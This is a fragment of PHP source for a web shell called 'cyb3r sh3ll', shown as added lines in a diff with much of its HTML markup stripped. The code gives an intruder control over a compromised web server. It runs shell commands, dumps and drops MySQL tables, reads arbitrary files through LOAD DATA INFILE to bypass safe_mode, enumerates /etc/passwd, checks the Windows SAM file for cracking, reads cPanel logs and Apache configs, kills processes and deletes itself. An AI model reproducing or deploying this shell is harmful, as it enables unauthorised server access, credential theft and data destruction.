str_replace("PHP/".phpversion(),'[Google]',htmlspecialchars($DISP_SERVER_SOFTWARE)); + +@ini_set("highlight.bg",$highlight_bg); //FFFFFF + +@ini_set("highlight.comment",$highlight_comment); //#FF8000 + +@ini_set("highlight.default",$highlight_default); //#0000BB + +@ini_set("highlight.html",$highlight_html); //#000000 + +@ini_set("highlight.keyword",$highlight_keyword); //#007700 + +@ini_set("highlight.string",$highlight_string); //#DD0000 + +if (!is_array($actbox)) {$actbox = array();} + +$dspact = $act = htmlspecialchars($act); + +$disp_fullpath = $ls_arr = $notls = null; + +$ud = urlencode($d); + +?> + +
    + + + + + + +


    cyb3r.9l4di4t0r

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Software :Exploit DB]'; ?>Server I.P."?>
    Uname-a :"?>",1); ?>Client I.P."?>
    Username :"?>",1);} else {echo get_current_user();} ?>Systeminfo"?>
    Safe Mode :
    Directory : + ".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; + + $i++; + +} + +echo "   "; + +if (is_writable($d)) + +{ + + $wd = TRUE; + + $wdt = "[ ok ]"; + + echo "".view_perms(fileperms($d)).""; + +} + +else + +{ + + $wd = FALSE; + + $wdt = "[ Read-Only ]"; + + echo "".view_perms_color($d).""; + +} + ?> + Self Remove"?>
    Free Space : + ".view_size($free)." of ".view_size($total)." (".$free_percent."%)"; + +}?> + Feedback"?>
    Drives : + [ "; + + if ($letter.":" != $v) {$letters .= $letter;} + + else {$letters .= "".$letter."";} + + $letters .= " ] "; + + } + + } + + if (!empty($letters)) {echo $letters."
    ";} +} + ?>
    I'm Out !
    +
    + + + +
    + ADMIN: | + PHP : ".$phpVersion.""?> | + Curl : Enabled"):("Disabled"); ?> | + Oracle : Enabled"):("Disabled"); ?> | + MySQL : Enabled"):("Disabled");?> | + MSSQL : Enabled"):("Disabled"); ?> | + PostgreSQL : Enabled"):("Disabled"); ?> | + Disable functions : +
    + + + + +
    + 0) + + { + + foreach($quicklaunch as $item) + + { + + $item[1] = str_replace("%d",urlencode($d),$item[1]); + + $item[1] = str_replace("%sort",$sort,$item[1]); + + $v = realpath($d.".."); + + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + + echo "".$item[0]."    "; + + } + + }?> +

    +".$donated_html."
    ";} + +echo ""; + + $line = explode(" ",$line); + + $line[10] = join(" ",array_slice($line,10)); + + $line = array_slice($line,0,11); + + if ($line[0] == get_current_user()) {$line[0] = "".$line[0]."";} + + $line[] = "KILL"; + + $prcs[] = $line; + + echo ""; + + } + + } + + } + + else + + { + + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + + $ret = convert_cyr_string($ret,"d","w"); + + $stack = explode("\n",$ret); + + unset($stack[0],$stack[2]); + + $stack = array_values($stack); + + $head = explode("",$stack[0]); + + $head[1] = explode(" ",$head[1]); + + $head[1] = $head[1][0]; + + $stack = array_slice($stack,1); + + unset($head[2]); + + $head = array_values($head); + + if ($parsesort[1] != "a") {$y = "";} + + else {$y = "";} + + if ($k > count($head)) {$k = count($head)-1;} + + for($i=0;$i".trim($head[$i])."";} + + } + + $prcs = array(); + + foreach ($stack as $line) + + { + + if (!empty($line)) + + { + + echo ""; + + $line = explode("",$line); + + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + + $prcs[] = $line; + + echo ""; + + } + + } + + } + + $head[$k] = "".$head[$k]."".$y; + + $v = $processes_sort[0]; + + usort($prcs,"tabsort"); + + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + + $tab = array(); + + $tab[] = $head; + + $tab = array_merge($tab,$prcs); + + echo "
    "; + +if ($act == "") {$act = $dspact = "ls";} + +if ($act == "sql") + +{ + + $sql_surl = $surl."act=sql"; + + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + + $sql_surl .= "&"; + + ?>

    Attention! SQL-Manager is NOT ready module! Don't reports bugs.

    + "; + + if (!$sql_sock) {?> + "; + + } + + echo "
    SQL Manager:
    "; + + if (!$sql_sock) + + { + + if (!$sql_server) {echo "NO CONNECTION";} + + else {echo "
    Can't connect
    "; echo "".$err."";} + + } + + else + + { + + $sqlquicklaunch = array(); + + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + + echo "
    MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
    "; + + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + + echo "
    "; + + } + + echo "
    i
    +
  • If login is null, login is owner of process.
  • + If host is null, host is localhost
  • If port is null, port is 3306 (default)
  • +
     Please, fill the form:
    UsernamePassword Database 
    HostPORT
    +
    ">Home
    ".htmlspecialchars($sql_db)." ]---
    "; + + $c = 0; + + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} + + if (!$c) {echo "No tables found in database.";} + + } + + } + + else + + { + + ?>
    Home

    Please, select database
    "; + + //Start center panel + + $diplay = TRUE; + + if ($sql_db) + + { + + if (!is_numeric($c)) {$c = 0;} + + if ($c == 0) {$c = "no";} + + echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; + + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + + echo "
    "; + + $acts = array("","dump"); + + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + + elseif ($sql_tbl_act == "insert") + + { + + if ($sql_tbl_insert_radio == 1) + + { + + $keys = ""; + + $akeys = array_keys($sql_tbl_insert); + + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + + $values = ""; + + $i = 0; + + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + + $sql_act = "query"; + + $sql_tbl_act = "browse"; + + } + + elseif ($sql_tbl_insert_radio == 2) + + { + + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + + $result = mysql_query($sql_query) or print(mysql_smarterror()); + + $result = mysql_fetch_array($result, MYSQL_ASSOC); + + $sql_act = "query"; + + $sql_tbl_act = "browse"; + + } + + } + + if ($sql_act == "query") + + { + + echo "
    "; + + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} + + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + + if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



     
    ";} + + } + + if (in_array($sql_act,$acts)) + + { + + ?>
    Create new table:
     
    Dump DB:
    "> 
    ";} + + if ($sql_act == "newtbl") + + { + + echo ""; + + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; + + } + + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} + + } + + elseif ($sql_act == "dump") + + { + + if (empty($submit)) + + { + + $diplay = FALSE; + + echo "
    SQL-Dump:

    "; + + echo "DB: 

    "; + + $v = join (";",$dmptbls); + + echo "Only tables (explode \";\") 1: 

    "; + + if ($dump_file) {$tmp = $dump_file;} + + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + + echo "File: 

    "; + + echo "Download:  

    "; + + echo "Save to file:  "; + + echo "



    1 - all, if empty"; + + echo "
    "; + + } + + else + + { + + $diplay = TRUE; + + $set = array(); + + $set["sock"] = $sql_sock; + + $set["db"] = $sql_db; + + $dump_out = "download"; + + $set["print"] = 0; + + $set["nl2br"] = 0; + + $set[""] = 0; + + $set["file"] = $dump_file; + + $set["add_drop"] = TRUE; + + $set["onlytabs"] = array(); + + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + + $ret = mysql_dump($set); + + if ($sql_dump_download) + + { + + @ob_clean(); + + header("Content-type: application/octet-stream"); + + header("Content-length: ".strlen($ret)); + + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + + echo $ret; + + exit; + + } + + elseif ($sql_dump_savetofile) + + { + + $fp = fopen($sql_dump_file,"w"); + + if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + + else + + { + + fwrite($fp,$ret); + + fclose($fp); + + echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; + + } + + } + + else {echo "Dump: nothing to do!";} + + } + + } + + if ($diplay) + + { + + if (!empty($sql_tbl)) + + { + + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + + $count_row = mysql_fetch_array($count); + + mysql_free_result($count); + + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + + $tbl_struct_fields = array(); + + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + + $perpage = $sql_tbl_le - $sql_tbl_ls; + + if (!is_numeric($perpage)) {$perpage = 10;} + + $numpages = $count_row[0]/$perpage; + + $e = explode(" ",$sql_order); + + if (count($e) == 2) + + { + + if ($e[0] == "d") {$asc_desc = "DESC";} + + else {$asc_desc = "ASC";} + + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + + } + + else {$v = "";} + + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + + $result = mysql_query($query) or print(mysql_smarterror()); + + echo "
    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    "; + + echo "Structure ]   "; + + echo "Browse ]   "; + + echo "Dump ]   "; + + echo "Insert ]   "; + + if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";} + + if ($sql_tbl_act == "insert") + + { + + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + + if (!empty($sql_tbl_insert_radio)) + + { + + + + } + + else + + { + + echo "

    Inserting row into table:
    "; + + if (!empty($sql_tbl_insert_q)) + + { + + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + + $sql_query .= " WHERE".$sql_tbl_insert_q; + + $sql_query .= " LIMIT 1;"; + + $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror()); + + $values = mysql_fetch_assoc($result); + + mysql_free_result($result); + + } + + else {$values = array();} + + echo "
    "; + + foreach ($tbl_struct_fields as $field) + + { + + $name = $field["Field"]; + + if (empty($sql_tbl_insert_q)) {$v = "";} + + echo ""; + + $i++; + + } + + echo "
    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    "; + + echo "Insert as new row"; + + if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} + + echo "

    "; + + } + + } + + if ($sql_tbl_act == "browse") + + { + + $sql_tbl_ls = abs($sql_tbl_ls); + + $sql_tbl_le = abs($sql_tbl_le); + + echo "
    "; + + echo "\"Pages\" "; + + $b = 0; + + for($i=0;$i<$numpages;$i++) + + { + + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + + echo $i; + + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + + if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";} + + else {echo " ";} + + } + + if ($i == 0) {echo "empty";} + + echo "
    From:  To:  
    "; + + echo "
    "; + + echo ""; + + echo ""; + + for ($i=0;$i"; + + if (empty($e[0])) {$e[0] = "a";} + + if ($e[1] != $v) {echo "".$v."";} + + else {echo "".$v."\"".$m."\"";} + + echo ""; + + } + + echo ""; + + echo ""; + + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + + { + + echo ""; + + $w = ""; + + $i = 0; + + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + + echo ""; + + $i = 0; + + foreach ($row as $k=>$v) + + { + + $v = htmlspecialchars($v); + + if ($v == "") {$v = "NULL";} + + echo ""; + + $i++; + + } + + echo ""; + + echo ""; + + } + + mysql_free_result($result); + + echo "
    Action
    ".$v.""; + + echo "\"Delete\" "; + + echo "\"Edit\" "; + + echo "

     

    "; + + } + + } + + else + + { + + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + + if (!$result) {echo mysql_smarterror();} + + else + + { + + echo "
    "; + + + + $i = 0; + + $tsize = $trows = 0; + + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + + { + + $tsize += $row["Data_length"]; + + $trows += $row["Rows"]; + + $size = view_size($row["Data_length"]); + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + $i++; + + } + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo ""; + + echo "
    Table
    RowsTypeCreatedModifiedSizeAction
     ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." \"Empty\"  \"Drop\" \"Insert\" 
    »
    ".$i." table(s)
    ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

     

    "; + + mysql_free_result($result); + + } + + } + + } + + } + + } + + else + + { + + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + + if (in_array($sql_act,$acts)) {?>
    Create new DB:
     
    View File:
     
    "; + + if ($sql_act == "newdb") + + { + + echo ""; + + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    ";} + + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason:
    ".mysql_smarterror();} + + } + + if ($sql_act == "serverstatus") + + { + + $result = mysql_query("SHOW STATUS", $sql_sock); + + echo "
    Server-status variables:

    "; + + echo ""; + + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + + mysql_free_result($result); + + } + + if ($sql_act == "servervars") + + { + + $result = mysql_query("SHOW VARIABLES", $sql_sock); + + echo "
    Server variables:

    "; + + echo ""; + + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + + mysql_free_result($result); + + } + + if ($sql_act == "processes") + + { + + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen.";} + + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + + echo "
    Processes:

    "; + + echo ""; + + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} + + echo "
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
    "; + + mysql_free_result($result); + + } + + if ($sql_act == "getfile") + + { + + $tmpdb = $sql_login."_tmpdb"; + + $select = mysql_select_db($tmpdb); + + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + + if ($select) + + { + + $created = FALSE; + + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + + $result = mysql_query("SELECT * FROM tmp_file;"); + + if (!$result) {echo "Error in reading file (permision denied)!";} + + else + + { + + for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
    ";} + + else {echo "File \"".$sql_getfile."\":
    ".nl2br(htmlspecialchars($f))."
    ";} + + mysql_free_result($result); + + mysql_query("DROP TABLE tmp_file;"); + + } + + } + + mysql_drop_db($tmpdb); //comment it if you want to leave database + + } + + } + + } + + } + + echo "
    "; + + if ($sql_sock) + + { + + $affected = @mysql_affected_rows($sql_sock); + + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + + echo "
    Affected rows: ".$affected."
    "; + +} + +if ($act == "mkdir") +{ + + if ($mkdir != $d) + { + + if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": object alredy exists";} + + elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": access denied";} + + echo "

    "; + + } + + $act = $dspact = "ls"; + +} + +if ($act == "d") + +{ + + if (!is_dir($d)) {echo "
    Permision denied!
    ";} + + else + + { + + echo "Directory information:"; + + if (!$win) + + { + + echo "
    Owner/Group "; + + $ow = posix_getpwuid(fileowner($d)); + + $gr = posix_getgrgid(filegroup($d)); + + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + + } + + echo "
    Perms".view_perms_color($d)."
    Create time ".date("d/m/Y H:i:s",filectime($d))."
    Access time ".date("d/m/Y H:i:s",fileatime($d))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."

    "; + + } + +} + + +if ($act == "security") +{ + + echo "
    Server security information:
    Open base dir: ".$hopenbasedir."
    "; + + if (!$win) + + { + + if ($nixpasswd) + + { + + if ($nixpasswd == 1) {$nixpasswd = 0;} + + echo "*nix /etc/passwd:
    "; + + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + + echo "
    From:  To:  

    "; + + $i = $nixpwd_s; + + while ($i < $nixpwd_e) + + { + + $uid = posix_getpwuid($i); + + if ($uid) + + { + + $uid["dir"] = "".$uid["dir"].""; + + echo join(":",$uid)."
    "; + + } + + $i++; + + } + + } + + else {echo "
    Get /etc/passwd
    ";} + + } + + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + + if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.")
    ";} + + else {echo "You can crack winnt passwords. Download, and use lcp.crack+ ©.
    ";} + } + + if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs
    ";} + + if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs
    ";} + + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf)
    ";} + + if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf)
    ";} + + if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf)
    ";} + + if (file_get_contents("/etc/motd")) {echo "Message Of The Day
    ";} + + if (file_get_contents("/etc/hosts")) {echo "Hosts
    ";} + + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)."
    ";}} + + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + + displaysecinfo("RAM",myshellexec("free -m")); + + displaysecinfo("HDD space",myshellexec("df -h")); + + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + + displaysecinfo("Is links installed?",myshellexec("which links")); + + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + + displaysecinfo("Is GET installed?",myshellexec("which GET")); + + displaysecinfo("Is perl installed?",myshellexec("which perl")); + + displaysecinfo("Where is apache",myshellexec("whereis apache")); + + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); + +} + +if ($act == "mkfile") + +{ + if ($mkfile != $d) + + { + if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";} + + elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied";} + + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + + } + else {$act = $dspact = "ls";} + +} + +if ($act == "encoder") + +{ + echo "
    Encoder:
    Input:




    Hashes:
    "; + + foreach(array("md5","crypt","sha1","crc32") as $v) + + { + echo $v." -
    "; + } + + echo "
    Url:

    urlencode - + +
    urldecode - + +
    Base64:
    base64_encode -
    "; + + echo "
    base64_decode - "; + + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} + + else + + { + + $debase64 = base64_decode($encoder_input); + + $debase64 = str_replace("\0","[0]",$debase64); + + $a = explode("\r\n",$debase64); + + $rows = count($a); + + $debase64 = htmlspecialchars($debase64); + + if ($rows == 1) {echo "";} + + else {$rows++; echo "";} + + echo " ^"; + + } + + echo "

    Base convertations:
    dec2hex -
    "; + +} + +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + + { + + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using cyb3r sh3ll v.".$shver."!"; cyb3rexit(); } + + else {echo "
    Can't delete ".__FILE__."!
    ";} + + } + + else + + { + + if (!empty($rndcode)) {echo "Error: Incorrect Confimation!";} + + $rnd = rand(0,9).rand(0,9).rand(0,9); + + echo "
    Self-remove: ".__FILE__."
    Are you sure?
    For confirmation, enter \"".$rnd."\"
     "; + + } + +} + +if ($act == "serverinfo") +{ + +global $windows,$disablefunctions,$safemode; +$cwd= getcwd(); +$mil="$osn",$os); +$os = str_replace($ker,"${mil}Linux+Kernel\">$ker",$os); +$inpa=':'; +}else{ +$sam = $sysroot."\\system32\\config\\SAM"; +$inpa=';'; +$os = str_replace($osn,"${mil}MS+Windows\">$osn",$os); +} +$software=str_replace("Apache","${mil}Apache\">Apache",$_SERVER['SERVER_SOFTWARE']); +echo " + + + + + + + + + +"; +if ($windows){ +echo " + +"; +} +else +{ +echo ""; +} +$uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR'); +echo " + + + + + + + + + + + +";if (function_exists('curl_init')) echo "";echo "
    Server information:
    Server:".$_SERVER["HTTP_HOST"]; +if (!empty($_SERVER["SERVER_ADDR"])){ + echo "(". $_SERVER["SERVER_ADDR"] .")";} +echo " +
    Operation System: $os$osver
    Web server Application: $software
    CPU: $CPU
    Disk status:$disksize
    User domain:"; +if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN']; +else echo "Unknown"; +echo " +
    User Name :";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user(); +else echo "Unknown"; echo "
    Windows directory:$sysroot
    Sam file:"; +if (is_readable(($sam)))echo " +Readable"; else echo "Not readable";echo "
    Passwd file:"; +if (is_readable('/etc/passwd')) echo " +Readable"; else echo'Not readable';echo "
    Cpanel log file:"; +if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "Readable"; else echo "Not readable";}else echo "Not found"; +echo "
    ${mil}PHP\">PHP version:".PHP_VERSION." +(more...)
    Zend version:";if (function_exists('zend_version')) echo "".zend_version().""; +else echo "Not Found";echo "
    Include path:".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."
    PHP Modules:";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." "; +echo "
    Disabled functions:"; +if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"
    Safe mode:$sfmode
    Open base dir:$basedir
